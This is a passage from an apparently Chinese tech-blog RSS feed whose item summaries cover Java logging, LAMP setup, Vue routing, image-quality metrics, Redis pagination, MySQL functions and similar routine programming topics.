使用log4j2，需要log4j-api.jar、log4j-core.jar import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; Logger logger_log4j2 = LogManager.getLogger(Test.class); logger_log4j2.info(&#34;Hello World!&#34;); // logback，需要logback-classic.jar、logback-core.jar import ch.qos.logback.classic.Logger; import ch.qos.logback.classic.LoggerContext; Logger logger_logback = new LoggerContext().getLogger(Test.class); logger_logback.info(&#34;Hello World!&#34;); 复制代码 从上面不难看出，使用不同的日志框架，就要引入不同的jar包，使用不同的代码获取Logger。如果项目升级需要更换不同的框架，那么就需要修改所有的地方来获取新的Logger，这将会产生巨大的工作量。</description>
    </item>
    <item>
      <title>Ubuntu18.04下搭建LAMP环境</title>
      <link>https://bchobby.github.io/posts/134c5aa977071f3466c1c6f24b72171b/</link>
      <pubDate>Tue, 21 Mar 2023 12:13:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/134c5aa977071f3466c1c6f24b72171b/</guid>
      <description>目录&#xA;一、Apache2 web服务器的安装：&#xA;二:数据库MySQL的安装&#xA;三：PHP的安装&#xA;四：phpMyAdmin 的安装（可选）&#xA;注意：以下操作均在root用户下进行，如在普通用户，请自行加上sudo！&#xA;安装之前可更新一下服务器（可选）：&#xA;1、 apt update # 获取最新资源包&#xA;2、 apt upgrade # 本机软件全部更新&#xA;3、 apt dist-upgrade # 本机系统软件更新&#xA;一、Apache2 web服务器的安装： #安装Apache&#xA;apt install apache2 # 开启 、关闭和重启Apache服务器&#xA;systemctl start apache2 # 开启 systemctl stop apache2 # 关闭 systemctl restart apache2 # 重启 开启 Apache服务器后访问本地的 Web 服务器，打开浏览器并输入Ubuntu18.04的IP地址，看到Apache的默认信息页面即表示安装成功。&#xA;二:数据库MySQL的安装 # 安装MySQL：&#xA;apt install mysql-server 安装完之后通过如下命令登录mysql数据库&#xA;mysql -u root -p -u 表示选择登陆的用户名， -p 表示登陆的用户密码，现在是mysql数据库是没有密码的，Enter password:处直接回车，就能够进入mysql数据库；然后通过 show databases; 就可以查看当前的所有数据库</description>
    </item>
    <item>
      <title>windows cmd GBK改UTF8编码</title>
      <link>https://bchobby.github.io/posts/585cc5bf6a3f2ed190234c2b9cf60c0e/</link>
      <pubDate>Tue, 21 Mar 2023 12:03:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/585cc5bf6a3f2ed190234c2b9cf60c0e/</guid>
      <description>cmd下中午默认显示的格式是GBK，如果跟程序的编码不一样则会乱码，所以建议改成UTF8编码&#xA;首先右键属性查看当前编码，一般是936 GBK&#xA;在cmd里输入chcp可以看到当前代码页的数字&#xA;我们可以手动输入chcp 65001来切换UTF-8编码&#xA;按enter运行，可以看到切换了活动代码页&#xA;但是如果我们想每次打开cmd都默认设置为UTF8编码呢，可以参考下列操作&#xA;（1）搜索注册表编辑器，或者win+R打开regedit&#xA;新建字符串autorun即可</description>
    </item>
    <item>
      <title>常见的图像质量评估指标SSIM、PSNR、LPIPS</title>
      <link>https://bchobby.github.io/posts/9c3b8cd55eaec9e43c18ad12da005054/</link>
      <pubDate>Tue, 21 Mar 2023 12:00:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c3b8cd55eaec9e43c18ad12da005054/</guid>
      <description>现阶段针对有真实参考的图像生成任务，主要有三种质量评价指标，分别为两种人为设计的指标SSIM和PSNR，也包括深度学习网络抽取到的特征进行对比的LPIPS评价指标&#xA;一：结构相似性（structural similarity，SSIM） SSIM(Structural Similarity)，是一种衡量两幅图像相似度的指标。相对PSNR而言，SSIM在评价图像质量上更能符合人类的视觉特性。SSIM使用的两张图像中，一张为未经压缩的无失真图像，另一张为失真后的图像。&#xA;给定两个图像x和y, 两张图像的结构相似性可按照以下方式求出:&#xA;SSIM值的范围为[0,1]，越大代表图像越相似。如果两张图片完全一样时，SSIM值为1。&#xA;SSIM指数从图像组成的角度将结构信息定义为独立于亮度、对比度的，反映场景中物体结构的属性，并将失真建模为亮度、对比度和结构三个不同因素的组合。用均值作为亮度的估计，标准差作为对比度的估计，协方差作为结构相似程度的度量。&#xA;二：峰值信噪比（Peak Signal to Noise Ratio，PSNR） PSNR(Peak Signal to Noise Ratio)，是一种评价图像质量的度量标准。因为PSNR值具有局限性，所以它一般用于衡量最大值信号和背景噪音之间的图像质量参考值。&#xA;PSNR的单位为dB，其值越大，图像失真越少。一般来说，PSNR高于40dB说明图像质量几乎与原图一样好；在30-40dB之间通常表示图像质量的失真损失在可接受范围内；在20-30dB之间说明图像质量比较差；PSNR低于20dB说明图像失真严重。&#xA;PSNR是最普遍，最广泛使用的评鉴图像的客观量测法，不过许多实验结果都显示，PSNR的分数无法和人眼看到的视觉品质完全一致，有可能PSNR较高者看起来反而比PSNR较低者差。这是因为人眼的视觉对于误差的敏感度并不是绝对的，其感知结果会受到许多因素的影响而产生变化（例如：人眼对空间频率较低的对比差异敏感度较高，人眼对亮度对比差异的敏感度较色度高，人眼对一个区域的感知结果会受到其周围邻近区域的影响）&#xA;给定一个大小为m×n的灰度图 I 和噪声图 K，均方误差(Mean Square Error，MSE,)公式如下：&#xA;在此基础上，PSNR被定义为：&#xA;三：学习感知图像块相似度(Learned Perceptual Image Patch Similarity, LPIPS) LPIPS(Learned Perceptual Image Patch Similarity)，也称为“感知损失”(perceptual loss)，用于度量两张图像之间的差别。来源于CVPR2018的一篇论文《The Unreasonable Effectiveness of Deep Features as a Perceptual Metric》，该度量标准学习生成图像到Ground Truth的反向映射强制生成器学习从假图像中重构真实图像的反向映射，并优先处理它们之间的感知相似度。LPIPS 比传统方法（比如L2/PSNR, SSIM, FSIM）更符合人类的感知情况。LPIPS的值越低表示两张图像越相似，反之，则差异越大。&#xA;d为 x0与x之间的距离。从L层提取特征堆(feature stack)并在通道维度中进行单位规格化(unit-normalize)。利用向量WL 来放缩激活通道数,最终计算L2距离。最后在空间上平均，在通道上求和。</description>
    </item>
    <item>
      <title>Vue中的路由</title>
      <link>https://bchobby.github.io/posts/221a4a4f3e1a38db21b9f4244ced38e5/</link>
      <pubDate>Tue, 21 Mar 2023 11:57:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/221a4a4f3e1a38db21b9f4244ced38e5/</guid>
      <description>目录&#xA;目录&#xA;一，路由理解&#xA;二，基本配置&#xA;第一步: 在main.js文件中引入并使用插件&#xA;第二步: 在src文件夹下创建一个router文件夹然后在文件夹下创建index.js&#xA;​编辑&#xA;第三步: 回到main.js中引入创建的 router 并在vue实例对象中使用&#xA;三，路由的使用&#xA;第一点：a标签在路由中的改变&#xA;第二点，多级路由&#xA;第三点，路由的传参&#xA;query传参&#xA;params传参&#xA;四，编程式路由导航&#xA;replace属性和push属性&#xA;五，缓存组件和两个生命周期钩子&#xA;1，缓存路由组件&#xA;2，两个新的生命周期钩子&#xA;六，路由守卫&#xA;第一种，全局守卫&#xA;第二种，独享守卫&#xA;第三种，组件守卫&#xA;一，路由理解 1）理解： 一个路由（route）就是一组映射关系（key-value)，多个路由需要路由器（router）进行管理&#xA;2）前端路由：key是路径，value是组件&#xA;3）作用：设定访问路径，并将路径和组件映射起来（就是用于局部刷新页面，不需要请求服务器来切换页面）&#xA;$route 1. route是单个路由,存放当前路径信息,携带的参数&#xA;$router 1. 管理整个路由系统,里面保存所有的路径信息,能够实现路由的跳转&#xA;二，基本配置 前期准备： 安装vue-router 全局配置 ，命令： npm i vue-router （默认安装的是4版本适配的是vue3，如果使用的是vue2的话，必须选定3版本 npm i vue-router@3。&#xA;第一步: 在main.js文件中引入并使用插件 // 第一步: 引入router 插件 import VueRouter from &#39;vue-router&#39; // 使用插件 Vue.use(VueRouter) 第二步: 在src文件夹下创建一个router文件夹然后在文件夹下创建index.js index.js中写路由的核心代码&#xA;// 该文件是专门用于创建整个应用的路由器 // 第一步引入插件(本质是一个构造函数) import VueRouter from &#39;vue-router&#39; // 引入一下用到的组件 import About from &#39;.</description>
    </item>
    <item>
      <title>【样本不均衡】本质影响分析</title>
      <link>https://bchobby.github.io/posts/3e06ee63bacbf88e34faddacb1dc801f/</link>
      <pubDate>Tue, 21 Mar 2023 10:17:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e06ee63bacbf88e34faddacb1dc801f/</guid>
      <description>目录&#xA;一、前言&#xA;二、样本不均衡的定义&#xA;三、样本不均衡的影响&#xA;四、 样本不均衡的本质：影响决策面&#xA;五、我的疑问：样本不均衡对encoder是否有影响？&#xA;一、前言&#xA;首先说明，本文不包括样本不均衡问题的解决方法，只是对其本质影响尝试做一个阐述。其中不妥当的地方，欢迎在评论区交流。&#xA;二、样本不均衡的定义 为简化起见，以下均在二分类问题中展开讨论。&#xA;所谓“样本不均衡”，指的是在training dataset中，正负类样本的数量不均衡。&#xA;三、样本不均衡的影响 Firstly，在训练样本分布和测试样本分布（或真实样本分布）之间出现较大差异时，样本不均衡才会产生问题。&#xA;在印象中，如果train过程中，正类样本很少，负类样本很多，那么在test过程中，model会倾向于将data分类为负类。&#xA;但是到底为什么？&#xA;在参考对这个问题的分析时，我见到了以下几个说法：&#xA;①样本不均衡，导致model学习到了“真实世界”中，“正类样本远比负类样本少”的先验信息&#xA;②样本不均衡，影响模型学习到更本质的特征&#xA;③样本不均衡，使得我们应该更关注召回率recall&#xA;有些说法我觉得很有启发意义，有些我持观望态度，下面将提出我自己的思考。&#xA;四、 样本不均衡的本质：影响决策面 样本不均衡会导致在某个特征空间中，model学习到的决策面更靠近少样本一侧。&#xA;我们知道，机器学习或深度学习的某个实质，就是将低维空间线性不可分的样本，通过某种映射到高维空间变得线性可分。&#xA;如CNN中的卷积层，就是将原始输入encode到一个feature space，如VGG得到一个7×7×512的tensor，再通过全卷积FC（大小为 7×7×512，数量为4096）到1×1×4096的tensor，后面可输出分类。这里encoder后得到的tensor，相当于某个特征空间中的样本点；全卷积，相当于判别函数。&#xA;在不均衡的training dataset中，model要想得到较低的loss实现正确分类，就要在正类样本和负类样本之间找到一个决策面，这个决策面将两类数据分隔开。&#xA;不是说样本不均衡100%会导致model不好 ①如果最后学习到的model恰好紧贴着负类样本，和正类样本之间有较大的margin，那么train的样本不均衡就没有影响，如图1.&#xA;②同样，在一些简单task上（正负样本之间天然有很大的margin），样本不均衡也不会产生很大影响，如图2.&#xA;样本不均衡，影响的是test过程中“困难样本”的分类 In other words, 样本不均衡影响的是在margin附近的样本，即困难样本。因为在很多情况下，model学习到的决策面并不能如图1、2那样，而是很普通的在两类样本之间，而正类样本数量又很少，这就导致决策面会“自然”地向数量少的样本推进。这样test时，决策面两侧判别函数的计算，就会满足一个&amp;gt;0, 一个&amp;lt;0（或者以概率上的0.5为准，是一样的）。&#xA;上述分析与解决方法的呼应 在数据不均衡的解决方法中，存在着这样的对应：&#xA;①过采样/欠采样：努力使得数据分布均衡；&#xA;②改变分类阈值/loss加权：努力改变决策面位置，向数量多的类别推；&#xA;五、我的疑问：样本不均衡对encoder是否有影响？ 上述分析的是 样本不均衡对决策面的影响。但是有个很重要的问题，那就是对encoder出来的特征空间（feature）有无影响？思路可以如下：&#xA;①在一个样本不均衡的dataset中，对已经pre-trained的model，freeze住前面encoder的参数，只训练后面的参数，再test：估计效果肯定不好，应该可以证实决策面的分析&#xA;②在一个样本不均衡的dataset中，from-scratch训练一个model，包括encoder和后面的分类器，看看encoder出来的feature和pre-trained模型提出来的feature是否差异很大？&#xA;由于时间原因本人没有验证，欢迎交流讨论。</description>
    </item>
    <item>
      <title>zip 命令初学指南</title>
      <link>https://bchobby.github.io/posts/70b17ba130a59351c8650041765e463b/</link>
      <pubDate>Tue, 21 Mar 2023 10:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70b17ba130a59351c8650041765e463b/</guid>
      <description>这是一份关于理解 Linux 中的 zip 命令的初学者指南，并附有一些例子。 zip 文件是一个包含一个或多个文件的压缩档案。它作为一种无损数据压缩技术被广泛使用。由于压缩，它占用的磁盘空间更少，在计算机网络上传输时需要的数据也更少。&#xA;这些压缩文件可以在 Linux、Windows 和 macOS 中轻松提取。有各种支持压缩 zip 文件的软件，也提供提取它们的功能。&#xA;由于它很流行，几乎所有的操作系统都内置了这个功能。&#xA;在本教程中，我们将谈论几种基于终端的方法来压缩 Linux 中的文件。&#xA;Linux 中的 Zip 命令示例&#xA;语法&#xA;在 Linux 中，你需要使用的压缩文件的程序名称是 zip。下面是基本的语法：&#xA;zip [压缩文件名] file1 file2 file3 以下是正式的语法：&#xA;zip [-options] [-b path] [-t mmddyyyy] [-n suffixes] [zipfile list] [-xi list] 理想情况下，zip 命令应该被安装在所有主流的 Linux 发行版中。如果没有，使用下面的命令来安装它。&#xA;在 Debian、Ubuntu 和相关发行版上安装&#xA;sudo apt install zip 在 Fedora、基于 RHEL 的系统上安装&#xA;sudo dnf install zip 在 Arch Linux 上安装&#xA;pacman -S zip 让我们继续看一些例子。</description>
    </item>
    <item>
      <title>简单使用Redis集合实现分页，排名</title>
      <link>https://bchobby.github.io/posts/9e375e024054f464787344c4d8ac3f73/</link>
      <pubDate>Tue, 21 Mar 2023 09:43:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e375e024054f464787344c4d8ac3f73/</guid>
      <description>什么是Redis？ Redis，英文全称是Remote Dictionary Server（远程字典服务），是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。&#xA;与MySQL数据库不同的是，Redis的数据是存在内存中的。它的读写速度非常快，每秒可以处理超过10万次读写操作。因此redis被广泛应用于缓存，另外，Redis也经常用来做分布式锁。除此之外，Redis支持事务、持久化、LUA 脚本、LRU 驱动事件、多种集群方案。&#xA;代码 public function test(){&#xA;$this-&amp;gt;redis-&amp;gt;select(2);&#xA;//有序集合 查询所有成绩分数&#xA;$data= $this-&amp;gt;redis-&amp;gt;zRevRange(&#39;Exam&#39;,0,-1,true);&#xA;//查询当前页&#xA;$page= request()-&amp;gt;get(&#39;page&#39;);&#xA;//查询排名&#xA;$name= request()-&amp;gt;get(&#39;name&#39;);&#xA;//设置加减分&#xA;$kemu=request()-&amp;gt;get(&#39;kemu&#39;);&#xA;$sou=request()-&amp;gt;get(&#39;sou&#39;);&#xA;################# Redis有序集合分页###################&#xA;$nextpage=&#34;&#34;;&#xA;$nevpage=&#34;&#34;;&#xA;//获取所有科目数量&#xA;$count=$this-&amp;gt;redis-&amp;gt;zCard(&#34;Exam&#34;);&#xA;//当前页&#xA;!empty($page)?$thispage=$page:$thispage=1;&#xA;//每页显示的条数&#xA;$limit=2;&#xA;//总页数&#xA;$allpage=ceil($count/$limit);&#xA;//偏移量&#xA;$arr=($thispage-1)*$limit;&#xA;//分页展示&#xA;$data=$this-&amp;gt;redis-&amp;gt;zRevRange(&#39;Exam&#39;,$arr,$limit*$thispage,true);&#xA;//下一页&#xA;if ($thispage&amp;lt;$allpage)$nextpage=++$thispage;&#xA;//上一页&#xA;if ($thispage&amp;gt;$allpage)$nevpage=--$thispage;&#xA;################# 查询数据排名信息 ######################&#xA;//获取成绩排名&#xA;if (!empty($name))$mc=$this-&amp;gt;redis-&amp;gt;zRevRank(&#39;Exam&#39;,$name);&#xA;if (!empty($name))return json_encode([&#39;soft&#39;=&amp;gt;$mc,&#39;message&#39;=&amp;gt;&#39;查询数据排名&#39;]);&#xA;################## 返回修改后的排名 #####################&#xA;//加减分 提高/降低排名&#xA;if (!empty($kemu)&amp;amp;&amp;amp;!empty($sou))$this-&amp;gt;redis-&amp;gt;zIncrBy(&#39;Exam&#39;,$sou,$kemu);&#xA;if (!empty($kemu)&amp;amp;&amp;amp;!empty($sou))return json_encode([&#39;soft&#39;=&amp;gt;$this-&amp;gt;redis-&amp;gt;zRevRank(&#39;Exam&#39;,$kemu)+1,&#39;message&#39;=&amp;gt;&#39;修改成功！现在的名次&#39;]);&#xA;################# 返回页数 和数据信息 ########################</description>
    </item>
    <item>
      <title>Vue基于element UI 实现导出表格内容</title>
      <link>https://bchobby.github.io/posts/45a45de7b2835cf9351fd0bdc34745e2/</link>
      <pubDate>Tue, 21 Mar 2023 09:43:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45a45de7b2835cf9351fd0bdc34745e2/</guid>
      <description>通过点击导出信息按钮，实现表格内容的导出。&#xA;代码如下：&#xA;1.首先npm相应的依赖&#xA;npm i xlsx@0.16.9 npm i file-saver@2.0.5 2.引入导出Excel表格依赖&#xA;import FileSaver from &#39;file-saver&#39; import XLSX from &#39;xlsx&#39; 3.为自己需要导出的el-table表格添加一个id属性&#34;educe-table&#34;&#xA;4. 为button按钮绑定一个click事件exportExcel&#xA;&amp;lt;el-button type=&#34;primary&#34; @click=&#34;exportExcel&#34;&amp;gt;导出信息&amp;lt;/el-button &amp;gt; JS：&#xA;5.实现exportExcel方法&#xA;exportExcel() { // 1.生成Excel工作簿对象 // var wb = XLSX.utils.table_to_book(document.querySelector(&#39;#educe-table&#39;)); // 2.手机号，身份证号等会默认使用科学计数法表示，则需要这样设置 var wb = XLSX.utils.table_to_book( document.querySelector(&#34;#educe-table&#34;), { raw: true } ); // 获取二进制字符串作为输出 var wbout = XLSX.write(wb, { bookType: &#34;xlsx&#34;, book: true, type: &#34;array&#34;, }); try { FileSaver.saveAs( // Blob: 对象表示一个不可变 原始数据的类文件对象,不一定是JS原生格式的数据。 // File: 基于Blob，继承了blob的功能并将其扩展使其支持用户系统上的文件。 new Blob([wbout], { type: &#34;</description>
    </item>
    <item>
      <title>信息系统项目管理师第四版知识摘编：第1章 信息化发展</title>
      <link>https://bchobby.github.io/posts/9d33cde97b77266440dc1a3da6c349b2/</link>
      <pubDate>Tue, 21 Mar 2023 08:38:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d33cde97b77266440dc1a3da6c349b2/</guid>
      <description>第1章 信息化发展 在新一代信息技术的推动下，人类社会正在加速进入全新发展时期，以智能化、网络化、数字化等为典型特征的新模式、新经济、新业态等正在加速形成，电子政务、消费互联网、工业互联网、智能制造和智慧城市等正在深刻影响人们的生产、消费和生活方式等。随看数据广泛链接和共享、数字孪生广泛建设，重新定义了信息空间的内涵，基于已发生的信息快照已经无法满足人们对美好生活的需求。对物理世界的模拟、未来的预测以及物理社会的优化，将成为新的核心关注点，个性化需求的高效满足成为发展的主要方向之一。&#xA;信息化继工业化后，正在催生一场新的入类社会革命，其影响更加广泛、变革更加深入，已经成为世界各国的关注焦点和共同选择：&#xA;1.信息化的发展水平代表一个国家的信息能力，信息产业成为国家核心竞争力的新战略高地，信息技术成为国家间竞争的核心聚住；&#xA;2.数字经济、数字人才成为区域经济与社会发展的重要支点，这不仅需要持续强化信息技术人才的业务能力建设，也需要业务技术人才的信息技术能力建设，从而形成立体化、多元化的新型人才体系；&#xA;3.作为数字化转型主体的计算机信息系统工程是一项复杂的社会和技术工程，无论是内容、规模、深度和广度，还是技术、工具、业务和流程，都在不断地发展和创新。&#xA;1.1信息与信息化 1.1.1信息 信息(Information)是物质、能量及其属性的标示的集合，是确定性的增加。它以物质介质为载体，传递和反映世界各种事物存在方式、运动状态等的表征。信息不是物质，也不是能力，它以一种普遍形式，表达物质运动规律，在客观世界中大批存在、产生和传递。&#xA;1948年，数学家香农指出：“信息是用来消除随机不定性的东西”。创建一切宇宙万物的最基本单位是信息，信息量的单位为比特(bit)。1比特的信息量，在变异度为2的最简单情况下，就是能消除非此即彼的不确定性所需要的信息量。这里的“变异度”是指事物的变化状态空间为2,例如大和小、高和低、快和慢等。香农将热力学中的熵引入了信息论。在热力学中，熵是系统无序程度的度量，而信息是系统有序程度的度量，表现为负熵。&#xA;信息、由意义和符号组成，指以声音、语言、文字、图像、动画、气味等方式所表示的实际内容。信息是抽象于物质的映射集合。&#xA;1.1.2信息系统 信息系统是由相互联系、相互依赖、相互作用的事物或过程组成的具有整体功能和综合行为的统一体。从数学角度来看，系统是一个集合，是由许多相互作用、相互依存的事物(集合元素)为了达到某个目标组成的集合。&#xA;编辑&#xA;添加图片注释，不超过 140 字（可选）&#xA;信息系统就是通过输入数据，然后进行加工处理，最后产生信息的系统。面向管理和支持生产是信息系统的显著特点，以计算机为基础的信息系统可以定义为：结合管理理论和方法，应用信息技术解决管理问题，提高生产效率，为生产或信息化过程以及管理和决策提供支撑的系统。信息系统是管理模型、信息处理模型和系统实现条件的结合。&#xA;信息系统的组成部件包括硬件、软件、数据库、网络、存储设备、感知设备、外设、人员以及把数据处理成信息的规程等。从用途类型来划分，信息系统一般包括电子商务系统、事务处理系统、管理信息系统、生产制造系统、电子政务系统、决策支持系统等。&#xA;软件在信息系统中屈于较复杂的部件，可以借用软件的生命周期来表不信息系统的生命周期。软件的生命周期通常包括：可行性分析与项目开发计划、需求分析、概要设计、详细设计、编码、测试、维护等阶段。&#xA;信息系统的生命周期可以简化为：系统规划(可行性分析与项目开发计划)，系统分析(需求分析)，系统设计(概要设计、详细设计)，系统实施(编码、测试)，系统运行和维护等阶段。&#xA;编辑切换为居中&#xA;添加图片注释，不超过 140 字（可选）&#xA;1.1.3信息化 信息化是指培养、发展以计算机为主的智能化工具为代表的新生产力，并使之造福于社会的历史过程。与智能化工具相适应的生产力，称为信息化生产力。信息化是以现代通信、网络、数据库技术为基础，将所研究对象各要素汇总至数据库，供特定人群生活、工作、学习、辅助决策等，是和人类息息相关的各种行为相结合的一种技术。&#xA;信息化是推动经济社会发展转型的一个历史性过程。在这个过程中，综合利用各种信息技术，支撑改善人类的各项政治、经济、社会活动，并把贯穿于这些活动中的各种数据有效、可靠地进行管理，经过符合业务需求的数据处理，形成信息资源，通过信息资源的整合与融合，促进信息交流和知识共享，形成新的经济和社会形态，推动各方面的高质量发展。&#xA;信息化内涵主要包括：&#xA;信息网络体系：包括信息资源、各种信息系统、公用通信网络平台等。&#xA;信息产业基础：包括信息科学技术研究与开发、信息装备制造、信息咨询服务等。&#xA;社会运行环境：包括现代工农业、管理体制、政策法律、规璋制度、文化教育、道德观念等生产关系与上层建筑。&#xA;效用积累过程：包括劳动者素质、团家现代化水平和人民生活质负的不断提高，精神文明和物质文明建设不断进步等。&#xA;国家信息化体系包括信息技术应用、信息资源、信息网络、信息技术和产业、信息化人才、信息化政策法规和标准规范6个要素，这6个要素的关系构成了一个有机的整体。&#xA;编辑&#xA;添加图片注释，不超过 140 字（可选）&#xA;1）组织信息化趋势&#xA;组织的信息化是国家经济与社会信息化的基础，指组织在产品的设计、开发、生产、管理、经营等多个环节中广泛利用信息技术，并大力培养信息人才，完善信息服务，加速建设组织信息系统。&#xA;产品信息化包含两层含义：1.产品中各类信息比重日益增大、物质比重日益降低，其物质产品的特征向信息产品的特征迈进；2.越来越多的产品中嵌入了智能化元器件，使产品具有越来越强的信息处理功能。&#xA;产业信息化指农业、工业、服务业等传统产业广泛利用信息技术，大力开发和利用信息资源，建立各种类型的产业互联网平台和网络，实现产业内各种资源、要素的优化与重组，从而实现产业的升级。&#xA;社会生活信息化指包括市场、科技、教育、军事、政务、日常生活等在内的整个社会体系采用先进的信息技术，建立各种互联网平台和网络，大力拓展人们日常生活的信息内容，丰富人们的精神生活，拓展人们的活动时空等。&#xA;国民经济信息化指在经济大系统内实现统一的信息大流动，使金勋、贸易、投资、计划、营销等组成一个信息大系统，生产、流通、分配、消费等经济的四个环节通过信息进一步连成一个整体。国民经济信息化是世界各国急乱实现的目标。&#xA;2)国家信息化趋势&#xA;2016年8月中共中央办公厅、国务院办公厅颁布的《国家信息化发展战略纲要》强调：国家信息化发展战略总目标是建设网络强国，分“三步走”：第一步到2020年，核心关键技术部分领域达到国际先进水平，信息产业国际竞争力大幅提升，信息化成为驱动现代化建设的先导力量；第二步到2025年，建成国际领先的移动通信网络，根本改变核心关键技术受制于人的局面，实现技术先进、产业发达、应用领先、网络安全坚不可摧的战略目标，涌现一批具有强大国际竞争力的大型跨国网信企业；第三步到21世纪中叶，信息化全面支撑富强民主文明和谐的社会主义现代化国家建设，网络强国地位日益巩固，在引领全球信息化发展方面有更大作为。当前，我国全面部署了“构建产业数字化转型发展体系”重大任务，明确我国化息化进入加快数字化发展、建设数字中国的新阶段。&#xA;《“十四五”国家信息化规划》明确了：建设泛在智联的数字基础设施体系，建立高效利用的数据要素资源体系，构建释放数字生产力的创新发展体系，培育先进安全的数字产业体系，构建产业数字化转型发展体系，构筑共建共治共享的数字社会治理体系，打造协同高效的数字政府服务体系，构建普惠便捷的数字民生保障体系，拓展互利共赢的数字领域国际合作体系和建立健全规范有序的数字化发展治理体系等重大任务。&#xA;1.2现代化基础设施 统筹推进传统基础设施和新型基础设施建设，打造系统完备、高效实用、智能绿色、安全可靠的现代化基础设施体系，是我国当前在该领域的发展战略和导向。&#xA;1.2.1新型基础设施建设 2018年召开的中央经济工作会议，首次提出“加快5G商用步伐，加强人工智能、工业互联网、物联网等新型基础设施建设”，简称“新基建”。“新型基础设施建设”的提法由此产生，其主要包括5G基建、特高压、城际高速铁路和城际轨道交通、新能源汽车充电桩、大数据中心、人工智能、工业互联网等七大领域。“新基建”面向国家战略需求，为经济社会的创新、协调、绿色、开放、共享发展提供底层支撑的具有乘数效应的战略性、网络型基础设施，内涵更丰富，更能体现数字经济的特征，能够更好地推动中国经济转型升级。&#xA;新型基础设施以新发展理念为引领，以技术创新为驱动，以信息网络为基础，面向高质量发展需要，提供数字转型、智能升级、融合创新等服务。主要包括如下三个方面：&#xA;信息基础设施。信息基础设施主要指基于新一代信息技术演化生成的基础设施。信息基础设施包括：a.以5G、物联网、工业互联网、卫星互联网为代表的通信网络基础设施；b.以入工智能、云计算、区块链等为代表的新技术基础设施；c.以数据中心、智能计算中心为代表的算力基础设施等。信息基础设施凸显“技术新”。&#xA;融合基础设施。融合基础设施主要指深度应用互联网、大数据、人工智能等技术，支撑传统基础设施转型升级，进而形成的触合基础设施。勋合基础设施包括智能交通基础设施、智慧能源基础设施等。融合基础设施重在“应用新”。&#xA;创新基础设施。创新基础设施主要指支撑科学研究、技术开发、产品研制的具有公益属性的基础设施。创新基础设施包括重大科技基础设施、科教基础设施、产业技术创新基础设施等。创新基础设施强调“平台新”。&#xA;新型基础设施建设比传统基建内涵更加丰富，涵盖范围更广，更能体现数字经济特征，能够更好地推动经济与社会转型升级。“十四五”规划中提出持续加快建设新基础设施：&#xA;强化数字转型、智能升级、融合创新支撑.布局建设信息基础设施、融合基础设施、创新基础设施等新型基础设施；&#xA;建设高速泛在、天地一体、集成互联、安全高效的信息基础设施，增强数据感知、传输、存储和运算能力：&#xA;加快5G网络规模化部署，待续提高用户普及率，推广升级千兆光纤网络；&#xA;前瞻布局6G网络技术储备：&#xA;扩容骨干网互联节点，新设一批国际通信出入口，全面推进互联网协议第六版(IPv6)商用部署，&#xA;实施中西部地区中小城市基础网络完善工程；&#xA;推动物联网全面发展，打造支持固移融合、宽窄结合的物联接入能力；&#xA;加快构建全国一体化大数枙中心体系，强化算力统筹智能调度，建设若干国家枢纽节点和大数据中心共群，建设E级和10E级超级计算中心；&#xA;积极稳妥发展工业互联网和车联网：&#xA;打造全球覆盖、高效运行的通信、导航、遥感空间基础设施体系，建设商业航天发射场：&#xA;加快交通、能源、市政等传统基础设施数字化改造，加强泛在感知、终端联网、智能调度体系建设；&#xA;发挥市场主导作用，打逍多元化投资渠道，构建新型基础设施标准体系等。</description>
    </item>
    <item>
      <title>mysql按逗号拼接起来_MySql逗号拼接字符串查询的两种方法</title>
      <link>https://bchobby.github.io/posts/80e66581e543ac3770e337a2f1fd188a/</link>
      <pubDate>Tue, 21 Mar 2023 08:30:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80e66581e543ac3770e337a2f1fd188a/</guid>
      <description>下面两个函数的使用和FIND_IN_SET一样,使用时只需要把FIND_IN_SET换成FIND_PART_IN_SET或FIND_ALL_PART_IN_SET&#xA;例如某字段里是为1,2,3,4,5&#xA;使用方法:&#xA;第一种,传入1,3,6 可以查出来&#xA;select * from XXX where FIND_PART_IN_SET(&#39;1,3,6&#39;,&#39;1,2,3,4,5&#39;)&#xA;第二种,传入1,3,6 查不出来&#xA;select * from XXX where FIND_ALL_PART_IN_SET(&#39;1,3,6&#39;,&#39;1,2,3,4,5&#39;)&#xA;函数:&#xA;第一种:只要包含其中一个就可以被查出来&#xA;CREATE DEFINER = `root`@`%` FUNCTION `NewProc`(str1 text,str2 text)&#xA;RETURNS text&#xA;BEGIN&#xA;#传入两个逗号分割的字符串，判断第二个字符串是否包含第一个字符串split之后的单个&#xA;DECLARE CURRENTINDEX INT;#当前下标&#xA;DECLARE CURRENTSTR text;&#xA;DECLARE result int;&#xA;set result = 0;&#xA;set CURRENTINDEX = 0;&#xA;set CURRENTSTR = &#39;&#39;;&#xA;IF str1 IS NOT NULL AND str1 != &#39;&#39; THEN&#xA;SET CURRENTINDEX = LOCATE(&#39;,&#39;,str1);&#xA;WHILE CURRENTINDEX &amp;gt; 0 DO</description>
    </item>
    <item>
      <title>Windows设置本地DNS域名解析Hosts文件的方法</title>
      <link>https://bchobby.github.io/posts/bf93f9df916730a68722dc74f98daa66/</link>
      <pubDate>Tue, 21 Mar 2023 00:23:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf93f9df916730a68722dc74f98daa66/</guid>
